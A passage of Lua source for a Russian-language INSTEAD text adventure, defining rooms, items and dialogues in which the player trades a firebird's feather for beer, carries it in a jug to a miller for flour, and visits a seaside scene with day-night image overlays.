if evening == 23 and birdontree then return 'gfx/39_2.png;gfx/daynight2/daynight23.png@0,0' end;
if evening == 24 and birdontree then return 'gfx/39_2.png;gfx/daynight2/daynight24.png@0,0' end;
if evening == 25 and birdontree then return 'gfx/39_2.png;gfx/daynight2/daynight25.png@0,0' end;
if evening == 26 and birdontree then return 'gfx/39_2.png;gfx/daynight2/daynight26.png@0,0' end;
if evening == 27 and birdontree then return 'gfx/39_2.png;gfx/daynight2/daynight27.png@0,0' end;
if evening == 28 and birdontree then return 'gfx/39_2.png;gfx/daynight2/daynight28.png@0,0' end;
if evening == 29 and birdontree then return 'gfx/39_2.png;gfx/daynight2/daynight29.png@0,0' end;
if evening == 30 and birdontree then return 'gfx/39_2.png;gfx/daynight2/daynight30.png@0,0' end;
if evening > 30 and birdontree then return 'gfx/39_2.png;gfx/daynight2/daynight30.png@0,0' end;
end;
obj = {'dub2', 'duplo2', 'tojarptica'};
decor = function()
p [[Ты видишь {dub2|дуб}. В центре дуба {duplo2|дупло}...]];
p [[По всему видно - птицам нравится это дерево... Их заливистое пение можно слушать бесконечно.]];
if not seaseen then p [[За старым деревом ты видишь огромное пустое поле, которое простирается до горизонта.]] end;
if seaseen then p [[За старым деревом ты видишь огромное пустое поле, за которым - море.]] end;
p [[Ты можешь пойти туда.]];
if have('kuvshin') and not have('kuvshin2') and treecounter >=3 and 3 == rnd(3) and seaseen and needpero and not pticauletela and not havepero then p [[^Ты видишь {tojarptica|жар-птицу} на дереве!]] birdontree = true
elseif not have('kuvshin') and have('kuvshin2') and treecounter >=3 and 3 == rnd(3) and seaseen and needpero and not pticauletela and not havepero then p [[^Ты видишь {tojarptica|жар-птицу} на дереве!]] birdontree = true else birdontree = false; end;
end;
way = { path{'Выйти', 'village'}, path{'За горизонт', after = 'К морю', 'roomlodka'} };
}
obj {
nam = 'dub2';
act = function()
p [[Обычный дуб. Очень старый.]];
end;
}
obj {
nam = 'tojarptica';
act = function()
walkin('injarptica');
end;
}
room {
nam = 'injarptica';
disp = 'Возле жар-птицы';
pic = 'gfx/43.png';
way = { path{'Назад', 'indub'} };
obj = {'uhvatiljarptica', 'talktojarptica'};
decor = function()
p[[Ты незаметно подкрался к птице. Теперь можешь разглядеть её поближе. Редкая удача! Ты можешь либо попробовать {uhvatiljarptica|ухватить} птицу за хвост, либо {talktojarptica|заговорить} с ней.]];
end;
}
obj {
nam = 'uhvatiljarptica';
act = function()
pticauletela = true;
walk('indub');
p[[Ты попытался ухватить жар-птицу за хвост, но её воля к свободе оказалась сильнее твоих меркантильных стремлений. Она улетела. Тем не менее, в твоей руке осталось одно сияющее перо...]];
take('pero');
end;
}
obj {
nam = 'pero';
disp = fmt.img('gfx/inv/pero.png')..'Перо';
inv = [[Перо жар-птицы.]];
}
obj {
nam = 'talktojarptica';
act = function()
walkin('dlgjarptica');
end;
}
obj {
nam = 'duplo2';
act = function()
if haveskatert then kuvshintakedfromstarik = false; end;
if takkuvshin2 and not kuvshintakedfromstarik then p [[Дупло старого, могучего дерева. Пустое.]] end;
if not takkuvshin2 and not kuvshintakedfromstarik then p [[В дупле ты нашел пустой, но целый кувшин!]] take('kuvshin2') takkuvshin2 = true; end;
if kuvshintakedfromstarik and not dalvodu then p [[Увы... На этот раз пусто.]] end;
if kuvshintakedfromstarik and dalvodu and takkuvshin2 and eatenapples and nashel2 then p [[Дупло старого, могучего дерева. Пустое.3]] end;
if kuvshintakedfromstarik and dalvodu and not takkuvshin2 and not nashel2 then p [[В дупле ты нашел пустой, но целый кувшин! 2]] take('kuvshin2') takkuvshin2 = true; nashel2 = true; end;
-- if kuvshintakedfromstarik and dalvodu and takkuvshin2 and not eatenapples then p [[Дупло старого, могучего дерева. Пустое.2]] end;
end;
}
obj {
nam = 'tobarmen';
act = function()
walkin('inbarmen');
end;
used = function (n, z)
if z^'pivo' or z^'pero' or z^'nopivo' or z^'kuvshinzpivom' then
p [[Надо подойти поближе.]];
return
end
if not z^'pivo' or z^'pero' or z^'nopivo' or z^'kuvshinzpivom' then return false; end
end;
}
obj {
nam = 'pivo';
disp = fmt.img('gfx/inv/pivo.png')..'Пиво';
inv = [[Пиво в кружке.]];
}
obj {
nam = 'nopivo';
disp = fmt.img('gfx/inv/pivo_no.png')..'Кружка';
inv = [[Пустая кружка.]];
}
obj {
nam = 'kuvshinzpivom';
disp = fmt.img('gfx/inv/kuvshinwithwater.png')..'Пиво';
inv = [[Кувшин с пивом. Да, это странно, но у тебя нет другого выхода.]];
}
room {
nam = 'inbarmen';
disp = 'Возле хозяина заведения';
pic = function()
if not have('pivo') and not have('nopivo') and not nopivoontable and not zabral then return 'gfx/34.png'; end;
if have('pivo') and not have('nopivo') and not nopivoontable and not zabral then return 'gfx/34_1.png'; end;
if nopivoontable and not have('nopivo') and not zabral then return 'gfx/34_1.png'; end;
if zabral and not have('nopivo') then return 'gfx/34.png'; end;
if have('nopivo') then return 'gfx/34_1.png'; end;
end;
decor = [[Ты видишь {talkwithbarmen|человека}, который стоит за столиком. Он пристально смотрит на тебя. Почему-то ты уверен, что это не просто бармен, а хозяин этого места. ]];
obj = {'talkwithbarmen'};
way = { path{'Отойти', 'insalun'} };
}
obj {
nam = 'tositdown';
act = function()
walkin('insitdown');
end;
used = function (n, z)
if z^'pivo' or z^'nopivo' then
p [[Надо подойти поближе.]];
return
end
if not z^'pivo' then return false; end
end;
}
obj {
nam = 'talkwithbarmen';
act = function()
if vipusti and zabral then combo = true; end; -- когда не вызываем диалог, что оставил кружку уже на столе
if not pivotaked and not needpivo then walkin('dlgbarmennopivo') end;
if not pivotaked and not combo and needpivo then walkin('dlgbarmen') end;
if pivotaked and not krotdal and triedtoescape and not combo and not wasintalkaboutkruzhka2 and not tyvor then walkin('dlgbarmen3') end;
if pivotaked and not krotdal and not triedtoescape and not combo and not wasintalkaboutkruzhka2 and not tyvor then walkin('dlgbarmen2') end;
if pivotaked and krotdal and triedtoescape and not combo and not wasintalkaboutkruzhka2 and not tyvor then walkin('dlgbarmen3') end;
if pivotaked and krotdal and not triedtoescape and not combo and not wasintalkaboutkruzhka2 and not tyvor then walkin('dlgbarmen4') end;
if combo and triedtoescape and not wasintalkaboutkruzhka2 and not tyvor then walkin('dlgbarmen3') end;
if combo and not triedtoescape and not tyvor then walkin('dlgbarmen4') end;
if wasintalkaboutkruzhka2 and not tyvor then walkin('dlgbarmen4') end;
if tyvor then walkin('dlgbarmen3') end;
end;
used = function (n, z)
if z^'kuvshin' or z^'kuvshin2' then p [[Вряд ли ему нужен пустой кувшин.]] return end;
if z^'kuvshinzpivom' then p [[-- Я не пью пиво из кувшинов...]]; return end;
if z^'nopivo' then p [[-- Наконец-то! Теперь ступай себе с миром.]]; remove('nopivo') krotdal = true; return end;
if z^'pivo' then p [[-- Спасибо, конечно, но я не позволяю себе выпивать, пока работаю. Вот в конце дня - это да...]];
elseif z^'pero' then
if not pivotaked then p [[-- Спасибо. Держи своё пиво. Кружку принесешь обратно!]] take('pivo') pivotaked = true remove('pero') end return
end
if not z^'pivo' or z^'nopivo' then return false; end
end;
}
dlg {
nam = 'dlgjarptica';
disp = 'Разговор с жар-птицей';
noinv = true;
pic = 'gfx/43.png';
enter = function(s)
p [[-- Я видела, как ты крадешься! Чего тебе?]];
bg_name = 'gfx/bg_talk.png' theme.gfx.bg (bg_name)
deletebutton();
end;
exit = function()
bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name)
createbutton();
end;
phr = { -- начало фразы
only = true;
{'Здравствуй, жар-птица! Прости, что потревожил тебя. Но чтобы выжить и продолжить путь, мне нужно одно твоё перо. Поделись, пожалуйста?','-- Эх. Ладно. Так уж и быть. Все вы так говорите...',
{ 'Все? Кто ещё?', function() p'-- Неважно. Держи перо и удачи тебе.' havepero = true take('pero'); walk('indub') end
}
},
{'Мне перо надо. Чтобы пройти дальше.','-- А где волшебное слово? А где хорошие манеры? Эх... Ладно. Что поделать с тобой. Держи своё перо.',
{ 'Спасибо!', function() p'-- Не за что.' havepero = true take('pero'); walk('indub') end
},
}
} -- конец фразы
}
dlg {
nam = 'dlgbarmen';
disp = 'Разговор с хозяином трактира';
noinv = true;
pic = 'gfx/34_2.png';
enter = function(s)
p [[-- Приветствую. Что будем пить? Или, может быть, вы голодны?]];
bg_name = 'gfx/bg_talk.png' theme.gfx.bg (bg_name)
deletebutton();
end;
exit = function()
bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name)
createbutton();
end;
phr = { -- начало фразы
only = true;
{ cond = function() return askwhere == false end, 'Пива бы.','-- С вас 13 золотых.',
{ 'У меня нет с собой денег. Тем более, золотых монет...', function() p'-- Понимаю. В таком случае, принеси перо жар-птицы и пиво твоё.' needpero = true askwhere = true end
}
},
{ cond = function() return askwhere == true and not have('pero') end, 'А где его искать-то, перо жар-птицы?','-- Она часто появляется возле дуба, что за мельницей. К сожалению, у меня нет времени подсиживать её. Может, тебе удастся поймать момент...',
{'А зачем оно вам?', function() p'-- Знаю одного доброго молодца, который ищет его. Обменяю перо на кое-что ценное.' end
}
},
{'А что у вас есть?','-- Лосось. Свежайший. Сам словил. 26 золотых.',
{ 'Вы рыбак?', function() p'-- Да. И моряк.' end
},
}
} -- конец фразы
}
dlg {
nam = 'dlgbarmennopivo';
disp = 'Разговор с хозяином трактира';
noinv = true;
pic = 'gfx/34_2.png';
enter = function(s)
p [[-- Приветствую. Чего желаете?]];
bg_name = 'gfx/bg_talk.png' theme.gfx.bg (bg_name)
deletebutton();
end;
exit = function()
bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name)
createbutton();
end;
phr = { -- начало фразы
only = true;
-- {'Пива бы.','-- С вас 13 золотых.',
-- { 'У меня нет с собой денег. Тем более, золотых монет...', function() p'-- Понимаю. В таком случае, принеси перо жар-птицы и пиво твоё.' needpero = true end
-- }
-- },
{'А что у вас есть?','-- Лосось. Свежайший. Сам словил. 26 золотых.',
{ 'У меня нет денег... Я вообще попал сюда случайно.', function() p'-- А я не занимаюсь благотворительностью.' end
},
}
} -- конец фразы
}
dlg {
nam = 'dlgbarmen2'; -- диалог после того, как взял пиво
disp = 'Разговор с хозяином трактира';
noinv = true;
pic = 'gfx/34_2.png';
enter = function(s)
p [[-- Приветствую. Чего желаете?]];
bg_name = 'gfx/bg_talk.png' theme.gfx.bg (bg_name)
deletebutton();
end;
exit = function()
bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name)
createbutton();
end;
phr = { -- начало фразы
only = true;
{ function() if not nopivoontable then p'Можно забрать кружку с собой?' else p 'Я оставил кружку на столике.' vipusti = true; end end , function() if not nopivoontable then p'-- Нет. У меня их и так мало осталось.' else p 'А, хорошо, я потом заберу.' end end ,
{ function() if not nopivoontable then p'Но я хочу занести пиво для мельника. И отдам кружку назад!' else p 'До свидания!' end end , function() if not nopivoontable then p'-- Нет.' else p'Пока.' end end
}
},
{'А что у вас есть?','-- Лосось. Свежайший. Сам словил. 26 золотых.',
{ 'Вы рыбак?', function() p'-- Да. И моряк.' end
},
}
} -- конец фразы
}
dlg {
nam = 'dlgbarmen3'; -- диалог после того, как отдал кружку (и пытался выйти с кружкой)
disp = 'Разговор с хозяином трактира';
noinv = true;
pic = 'gfx/34_2.png';
enter = function(s)
p [[-- Приветствую. Чего желаете?]];
bg_name = 'gfx/bg_talk.png' theme.gfx.bg (bg_name)
deletebutton();
end;
exit = function()
bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name)
createbutton();
end;
phr = { -- начало фразы
only = true;
{'Вы всегда так строги с посетителями?','-- Нет. Только если они пытаются что-то украсть.',
{ 'Понимаю. Извините...', function() p'-- Будь осмотрительнее в этих краях...' end
}
},
{'А что у вас есть?','-- Лосось. Свежайший. Сам словил. 26 золотых.',
{ 'Вы рыбак?', function() p'-- Да. И моряк.' end
},
}
} -- конец фразы
}
dlg {
nam = 'dlgbarmen4'; -- диалог после того, как отдал кружку (и НЕ пытался выйти с кружкой)
disp = 'Разговор с хозяином трактира';
noinv = true;
pic = 'gfx/34_2.png';
enter = function(s)
p [[-- Приветствую. Чего желаете?]];
bg_name = 'gfx/bg_talk.png' theme.gfx.bg (bg_name)
deletebutton();
end;
exit = function()
bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name)
createbutton();
end;
phr = { -- начало фразы
only = true;
{'Я ищу способ путешествовать дальше... Может, вы поможете мне?','-- Не уверен. Я веду оседлый образ жизни и мало путешествую.',
{ 'Эх. Ладно.', function() p'-- Советую быть осторожным в этих краях. *шепчет* Здесь упыри водятся! ' end
}
},
{'А что у вас есть?','-- Лосось. Свежайший. Сам словил. 26 золотых.',
{ 'Вы рыбак?', function() p'-- Да. И моряк.' end
},
}
} -- конец фразы
}
room {
nam = 'insitdown';
disp = 'За столиком';
pic = function()
if not kuvshinontable and nopivoontable and not zabral then return 'gfx/35_3.png' end;
if not kuvshinontable and not nopivoontable and not zabral then return 'gfx/35.png' end;
if zabral then return 'gfx/35.png' end;
if kuvshinontable and notfull then return 'gfx/35_1.png' elseif kuvshinontable and not notfull then return 'gfx/35_2.png' end;
end;
decor = function()
p [[{stolik|Столик} прекрасно вписывается в интерьер своим необычным дизайном. Ты присел за него. Можешь, наконец, расслабить ноги после столь долгого пути. Что может быть приятнее, чем просто сидеть в уютном месте и наслаждаться атмосферой?]];
if kuvshinontable and notfull then p [[^^На столике стоит пустой {kuvshonstol|кувшин}.]] end; if kuvshinontable and not notfull then p [[^^На столике стоит {kuvshonstolwithpivo|кувшин}, наполненный пивом.]] end;
if nopivoontable and not zabral then p [[^На столике стоит пустая кружка.]]; end;
end;
onenter = function()
postavpivoje = true;
end;
onexit = function()
postavpivoje = false;
end;
obj = {'stolik', 'kuvshonstol', 'kuvshonstolwithpivo'};
way = { path{'Отойти', 'insalun'} };
}
obj {
nam = 'kuvshonstol';
act = function()
p [[Отлично. Теперь можно освободить кружку и выйти отсюда.]];
end;
used = function (n, z)
if z^'pivo' then
p [[Ты аккуратно перелил пиво из кружки в кувшин. Готово!]]; notfull = false; replace('pivo', 'nopivo');
return
end
if not z^'pivo' then return false; end
end;
}
obj {
nam = 'kuvshonstolwithpivo';
act = function()
p [[Ты взял кувшин с пивом.]];
take('kuvshinzpivom');
kuvshinontable = false;
perelilpivo = true;
youcanplace = true;
zabralkuvshinpivo = true;
end;
}
obj {
nam = 'stolik';
act = function()
p [[Забавный, круглый, сказочный столик. Сделан с любовью.]];
end;
used = function (n, z)
if z^'pero' then p [[Хочешь вытереть пыль? Её нет - стол затёрт до блеска.]] return end;
if z^'nopivo' and not youcanplace then p [[Забери сначала пиво, что ли? Мне влом было делать ещё одно состояние сцены.]] return end;
if z^'nopivo' and youcanplace then
p [[Ты оставил пустую кружку на столе.]]; nopivoontable = true;
remove('nopivo'); return end;
if z^'pivo' then
p [[Не время расслабляться, товарищ.]]; return -- куда спешишь товарищ, не время для потехи
elseif z^'kuvshinzpivom' then
p [[Не время расслабляться!]]; return end;
if z^'kuvshin' and have('pivo') and not have('nopivo') then
p [[Ты поставил кувшин на столик. Теперь можно легко перелить в него пиво.]]; kuvshinontable = true;
if have('kuvshin') then remove('kuvshin') end; if have('kuvshin2') then remove('kuvshin2') end;
return end;
if z^'kuvshin'and not have('pivo') and not have('nopivo') then
p [[Пустой кувшин даже на столе останется пустым кувшином...]]; return
end
if z^'kuvshin2' and have('pivo') and not have('nopivo') then
p [[Ты поставил кувшин на столик. Теперь можно легко перелить в него пиво.]]; kuvshinontable = true;
if have('kuvshin') then remove('kuvshin') end; if have('kuvshin2') then remove('kuvshin2') end;
return end;
if z^'kuvshin2'and not have('pivo') and not have('nopivo') then
p [[Пустой кувшин даже на столе останется пустым кувшином...]]; return
end
if not z^'kuvshin' or not z^'kuvshin2' then return false; end
end;
}
obj {
nam = 'tokartina';
act = function()
walkin('inkartina');
end;
}
room {
nam = 'inkartina';
disp = 'Возле картины';
pic = 'gfx/36.png';
way = { path{'Отойти', 'insalun'} };
}
room {
nam = 'travnik';
disp = 'У травника';
-- pic = function()
-- if havetaburet then return 'gfx/37_1.png' else return 'gfx/37.png' end;
-- end;
pic = function()
if eveningenabled and havetaburet and not (evening > 5) then return 'gfx/37_1.png' end;
if eveningenabled and not havetaburet and not (evening > 5) then return 'gfx/37.png' end;
if eveningenabled and havetaburet and (evening > 5) then return 'gfx/37_1.png;gfx/daynight2/daynight_evening.png@0,0' end;
if eveningenabled and not havetaburet and (evening > 5) then return 'gfx/37.png;gfx/daynight2/daynight_evening.png@0,0' end;
if not eveningenabled and havetaburet then return 'gfx/37_1.png' end;
if not eveningenabled and not havetaburet then return 'gfx/37.png' end;
end;
enter = function()
snd.music('mus/DarkRedWine.ogg');
if not havetaburet then enable('#enableexit') disable('#enableattention') end;
if havetaburet then disable('#enableexit') enable ('#enableattention') end;
end;
obj = {'neartravnik', 'taburet'};
decor = function()
p [[Перед тобой за полками стоит {neartravnik|травник}.]];
if not havetaburet then p [[Твоё внимание привлёк старый {taburet|табурет}.]] end;
end;
way = { path{'#enableexit', 'Выйти', 'village'}:disable() , path{'#enableattention', 'Выйти', 'talkabouttaburet'}:disable() };
}:with {
obj {
nam = 'enableexit';
};
obj {
nam = 'enableattention';
};
};
obj {
nam = 'notaburet';
}
dlg {
nam = 'talkabouttaburet';
disp = 'Стоять!';
noinv = true;
pic = 'gfx/37_2.png';
enter = function(s)
p [[-- Далеко собрался? Верни табурет на место!]];
bg_name = 'gfx/bg_talk.png' theme.gfx.bg (bg_name)
deletebutton();
end;
exit = function()
bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name)
createbutton();
end;
phr = { -- начало фразы
{'Ээ... Я... Это...','-- Вор ты, вот ты кто! ',
{ 'Простите!','-- Верни где взял.'
}
},
} -- конец фразы
}
obj {
nam = 'taburet';
disp = fmt.img('gfx/inv/taburet.png')..'Табурет';
act = function()
p [[Ты взял табурет прямо перед носом у травника.]]
havetaburet = true;
braltaburet = true;
take('taburet')
place('notaburet', 'travnik')
walk('travnik')
end;
inv = function()
if not seen('taburet', 'travnik') and seen('notaburet', here()) then p[[Ты вернул табурет на место.]] havetaburet = false; place('taburet', 'travnik') remove('notaburet', 'travnik') walk('travnik') end;
if not seen('neartravnik', here()) then p [[Старый, но всё ещё прочный табурет.]] end;
end;
}
obj {
nam = 'neartravnik';
act = function()
walkin('intravnik');
end;
used = function (n, z)
if z^'taburet' then
p [[Ты вернул табурет на место.]];
havetaburet = false; place('taburet', 'travnik') remove('notaburet', 'travnik') walk('travnik')
return
end
return false;
end;
}
room {
nam = 'intravnik';
disp = 'Возле травника';
-- pic = 'gfx/37_2.png';
pic = function()
if eveningenabled and (evening > 5) then return 'gfx/37_2.png;gfx/daynight2/daynight_evening.png@0,0' else return 'gfx/37_2.png' end;
end;
way = { path{'Отойти от травника', 'travnik'} };
}
room {
nam = 'melnica';
disp = 'Внутри мельницы';
-- pic = 'gfx/41.png';
pic = function()
if eveningenabled and (evening > 5) then return 'gfx/41.png;gfx/daynight2/daynight_evening.png@0,0' else return 'gfx/41.png' end;
end;
enter = function()
snd.music('mus/Rhastafarian.ogg');
end;
obj = {'nearmelnic'};
decor = function()
p [[Перед тобой вольготно сидит суровый {nearmelnic|мельник}. Рядом с ним - большой сосуд, в который постоянно сыплется мука. Рядом - лестница, ведущая к жерновам. Тебе туда не надо, да и не пустят.]];
end;
way = { path{'Выйти', 'village'} };
}
obj {
nam = 'nearmelnic';
act = function()
walkin('inmelnic');
end;
used = function(n,z)
if z^'kuvshinzpivom' then walkin('dlgmelnicwithpivo') end;
if z^'muka' then p[[Отдать назад?]] end;
end;
}
room {
nam = 'inmelnic';
disp = 'Возле мельника';
-- pic = 'gfx/41_2.png';
pic = function()
if eveningenabled and (evening > 5) then return 'gfx/41_2.png;gfx/daynight2/daynight_evening.png@0,0' else return 'gfx/41_2.png' end;
end;
decor = function()
p [[Мельник напоминает тебе то ли представителя неформальной субкультуры в годах, то ли твоего преподавателя из универа... Странный и эксцентричный тип, похоже. Но всё же он может быть полезен. {talkwithmelnic|Поговорить} с ним?]];
end;
obj = {'talkwithmelnic'};
way = { path{'Отойти от мельника', 'melnica'} };
}
obj {
nam = 'muka';
disp = fmt.img('gfx/inv/muka.png')..'Мука';
inv = 'Мука. Отличная мука!';
}
obj {
nam = 'taranka'; -- таранька
disp = fmt.img('gfx/inv/taranka.png')..'Таранька';
inv = 'Сушеная рыба застыла с недоуменным выражением "лица". Да. Кажется, ты начинаешь понимать защитников животных...';
}
obj {
nam = 'talkwithmelnic';
act = function()
if not mukaest then walkin('dlgmelnic') else walkin('dlgmelnicaftermuka') end;
end;
}
dlg {
nam = 'dlgmelnic';
disp = 'Разговор с мельником';
noinv = true;
pic = 'gfx/41_2.png';
enter = function(s)
p [[-- Ну привет, привет. Чего тебе, путник?]];
bg_name = 'gfx/bg_talk.png' theme.gfx.bg (bg_name)
deletebutton();
end;
exit = function()
bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name)
createbutton();
end;
phr = { -- начало фразы
only = true;
{'Мне бы муки. Хотя бы немного.','-- Всё имеет свою цену. Мука вся расписана по жителям деревни, кому не досталась - тот сидит голодный.',
{ 'И нельзя выделить хотя бы килограмм?', function() p[[-- Можно. Принеси мне пива из трактира и будет тебе килограмм муки.]]; needpivo = true; end;
}
},
-- {'Спасибо. Я больше никогда не голоден, благодаря одной вещице...','-- Интересно, что же это?',
-- { 'Скатерть-самобранка.', function() p'-- А можете показать мне её?' end
-- },
-- }
} -- конец фразы
}
dlg {
nam = 'dlgmelnicwithpivo';
disp = 'Разговор с мельником';
noinv = true;
pic = 'gfx/41_2.png';
enter = function(s)
p [[-- О, пиво! Спасибо! А почему оно в кувшине? Мог бы и кружку найти. Но ладно. Договор есть договор. Держи свою муку.]];
replace('kuvshinzpivom', 'muka'); mukaest = true;
bg_name = 'gfx/bg_talk.png' theme.gfx.bg (bg_name)
deletebutton();
end;
exit = function()
bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name)
createbutton();
end;
phr = { -- начало фразы
only = true;
{'Спасибо большое.','-- Да не за что. Кстати. А не мог бы ты мне принести тараньки? Не с мукой же мне пиво пить, в самом деле...',
only = true;
{ 'Конечно, я поищу для тебя.','-- Вовек не забуду!'
},
{ 'Вряд ли. Я получил, что хотел.','-- Зря ты так. Ведь ещё не раз ко мне зайдешь потом.'
},
},
}
}
dlg {
nam = 'dlgmelnicaftermuka';
disp = 'Разговор с мельником';
noinv = true;
pic = 'gfx/41_2.png';
enter = function(s)
p [[-- А, это ты. Принес тараньку?]];
bg_name = 'gfx/bg_talk.png' theme.gfx.bg (bg_name)
deletebutton();
end;
exit = function()
bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name)
createbutton();
end;
phr = { -- начало фразы
only = true;
{'Принес.','-- Тогда где же она?',
only = true;
{ 'А что мне за это будет?','-- Ишь какой! А что, нельзя просто доброе дело сделать?'
},
{ 'Вот, держи.','-- Спасибо, странник. Дарю тебе взамен...'
},
},
{'Не принес.','-- Жаль.'},
}
}
room {
nam = 'roomlodka';
disp = 'Возле моря';
enter = function()
if eveningenabled then evening = evening+1; end;
gullscheck = gullscounter;
if gullscheck == gullscounter then gullscounter = rnd(4) end;
if gullscounter == 4 then seegulls = false else seegulls = true end;
-- pn ('counter:', string.sub(((gullscounter)),1,4)) -- временная строчка для показа переменной
-- pn ('check:', string.sub(((gullscheck)),1,4))
if seegulls then snd.play('snd/gulls.ogg', 2, 0); end;
snd.play('snd/sea_waves.ogg', 3, 0);
end;
exit = function()
snd.stop(2);
snd.stop(3);
end;
pic = function()
if evening == 0 and gullscounter == 1 then return 'gfx/38.png;gfx/daynight2/daynight0.png@0,0' end;
if evening == 1 and gullscounter == 1 then return 'gfx/38.png;gfx/daynight2/daynight1.png@0,0' end;
if evening == 2 and gullscounter == 1 then return 'gfx/38.png;gfx/daynight2/daynight2.png@0,0' end;
if evening == 3 and gullscounter == 1 then return 'gfx/38.png;gfx/daynight2/daynight3.png@0,0' end;
if evening == 4 and gullscounter == 1 then return 'gfx/38.png;gfx/daynight2/daynight4.png@0,0' end;
if evening == 5 and gullscounter == 1 then return 'gfx/38.png;gfx/daynight2/daynight5.png@0,0' end;
if evening == 6 and gullscounter == 1 then return 'gfx/38.png;gfx/daynight2/daynight6.png@0,0' end;
if evening == 7 and gullscounter == 1 then return 'gfx/38.png;gfx/daynight2/daynight7.png@0,0' end;
if evening == 8 and gullscounter == 1 then return 'gfx/38.png;gfx/daynight2/daynight8.png@0,0' end;
if evening == 9 and gullscounter == 1 then return 'gfx/38.png;gfx/daynight2/daynight9.png@0,0' end;
if evening == 10 and gullscounter == 1 then return 'gfx/38.png;gfx/daynight2/daynight10.png@0,0' end;
if evening == 11 and gullscounter == 1 then return 'gfx/38.png;gfx/daynight2/daynight11.png@0,0' end;
if evening == 12 and gullscounter == 1 then return 'gfx/38.png;gfx/daynight2/daynight12.png@0,0' end;
if evening == 13 and gullscounter == 1 then return 'gfx/38.png;gfx/daynight2/daynight13.png@0,0' end;
if evening == 14 and gullscounter == 1 then return 'gfx/38.png;gfx/daynight2/daynight14.png@0,0' end;
if evening == 15 and gullscounter == 1 then return 'gfx/38.png;gfx/daynight2/daynight15.png@0,0' end;
if evening == 16 and gullscounter == 1 then return 'gfx/38.png;gfx/daynight2/daynight16.png@0,0' end;
if evening == 17 and gullscounter == 1 then return 'gfx/38.png;gfx/daynight2/daynight17.png@0,0' end;
if evening == 18 and gullscounter == 1 then return 'gfx/38.png;gfx/daynight2/daynight18.png@0,0' end;
if evening == 19 and gullscounter == 1 then return 'gfx/38.png;gfx/daynight2/daynight19.png@0,0' end;
if evening == 20 and gullscounter == 1 then return 'gfx/38.png;gfx/daynight2/daynight20.png@0,0' end;
if evening == 21 and gullscounter == 1 then return 'gfx/38.png;gfx/daynight2/daynight21.png@0,0' end;
if evening == 22 and gullscounter == 1 then return 'gfx/38.png;gfx/daynight2/daynight22.png@0,0' end;
if evening == 23 and gullscounter == 1 then return 'gfx/38.png;gfx/daynight2/daynight23.png@0,0' end;
if evening == 24 and gullscounter == 1 then return 'gfx/38.png;gfx/daynight2/daynight24.png@0,0' end;
if evening == 25 and gullscounter == 1 then return 'gfx/38.png;gfx/daynight2/daynight25.png@0,0' end;
if evening == 26 and gullscounter == 1 then return 'gfx/38.png;gfx/daynight2/daynight26.png@0,0' end;
if evening == 27 and gullscounter == 1 then return 'gfx/38.png;gfx/daynight2/daynight27.png@0,0' end;
if evening == 28 and gullscounter == 1 then return 'gfx/38.png;gfx/daynight2/daynight28.png@0,0' end;
if evening == 29 and gullscounter == 1 then return 'gfx/38.png;gfx/daynight2/daynight29.png@0,0' end;
if evening == 30 and gullscounter == 1 then return 'gfx/38.png;gfx/daynight2/daynight30.png@0,0' end;
if evening > 30 and gullscounter == 1 then return 'gfx/38.png;gfx/daynight2/daynight30.png@0,0' end;
if evening == 0 and gullscounter == 2 then return 'gfx/38_2.png;gfx/daynight2/daynight0.png@0,0' end;
if evening == 1 and gullscounter == 2 then return 'gfx/38_2.png;gfx/daynight2/daynight1.png@0,0' end;
if evening == 2 and gullscounter == 2 then return 'gfx/38_2.png;gfx/daynight2/daynight2.png@0,0' end;
if evening == 3 and gullscounter == 2 then return 'gfx/38_2.png;gfx/daynight2/daynight3.png@0,0' end;
if evening == 4 and gullscounter == 2 then return 'gfx/38_2.png;gfx/daynight2/daynight4.png@0,0' end;
if evening == 5 and gullscounter == 2 then return 'gfx/38_2.png;gfx/daynight2/daynight5.png@0,0' end;
if evening == 6 and gullscounter == 2 then return 'gfx/38_2.png;gfx/daynight2/daynight6.png@0,0' end;
if evening == 7 and gullscounter == 2 then return 'gfx/38_2.png;gfx/daynight2/daynight7.png@0,0' end;
if evening == 8 and gullscounter == 2 then return 'gfx/38_2.png;gfx/daynight2/daynight8.png@0,0' end;
if evening == 9 and gullscounter == 2 then return 'gfx/38_2.png;gfx/daynight2/daynight9.png@0,0' end;
if evening == 10 and gullscounter == 2 then return 'gfx/38_2.png;gfx/daynight2/daynight10.png@0,0' end;
if evening == 11 and gullscounter == 2 then return 'gfx/38_2.png;gfx/daynight2/daynight11.png@0,0' end;
if evening == 12 and gullscounter == 2 then return 'gfx/38_2.png;gfx/daynight2/daynight12.png@0,0' end;
if evening == 13 and gullscounter == 2 then return 'gfx/38_2.png;gfx/daynight2/daynight13.png@0,0' end;
if evening == 14 and gullscounter == 2 then return 'gfx/38_2.png;gfx/daynight2/daynight14.png@0,0' end;
if evening == 15 and gullscounter == 2 then return 'gfx/38_2.png;gfx/daynight2/daynight15.png@0,0' end;
if evening == 16 and gullscounter == 2 then return 'gfx/38_2.png;gfx/daynight2/daynight16.png@0,0' end;
if evening == 17 and gullscounter == 2 then return 'gfx/38_2.png;gfx/daynight2/daynight17.png@0,0' end;
if evening == 18 and gullscounter == 2 then return 'gfx/38_2.png;gfx/daynight2/daynight18.png@0,0' end;
if evening == 19 and gullscounter == 2 then return 'gfx/38_2.png;gfx/daynight2/daynight19.png@0,0' end;
if evening == 20 and gullscounter == 2 then return 'gfx/38_2.png;gfx/daynight2/daynight20.png@0,0' end;
if evening == 21 and gullscounter == 2 then return 'gfx/38_2.png;gfx/daynight2/daynight21.png@0,0' end;
if evening == 22 and gullscounter == 2 then return 'gfx/38_2.png;gfx/daynight2/daynight22.png@0,0' end;
if evening == 23 and gullscounter == 2 then return 'gfx/38_2.png;gfx/daynight2/daynight23.png@0,0' end;
if evening == 24 and gullscounter == 2 then return 'gfx/38_2.png;gfx/daynight2/daynight24.png@0,0' end;
if evening == 25 and gullscounter == 2 then return 'gfx/38_2.png;gfx/daynight2/daynight25.png@0,0' end;
if evening == 26 and gullscounter == 2 then return 'gfx/38_2.png;gfx/daynight2/daynight26.png@0,0' end;
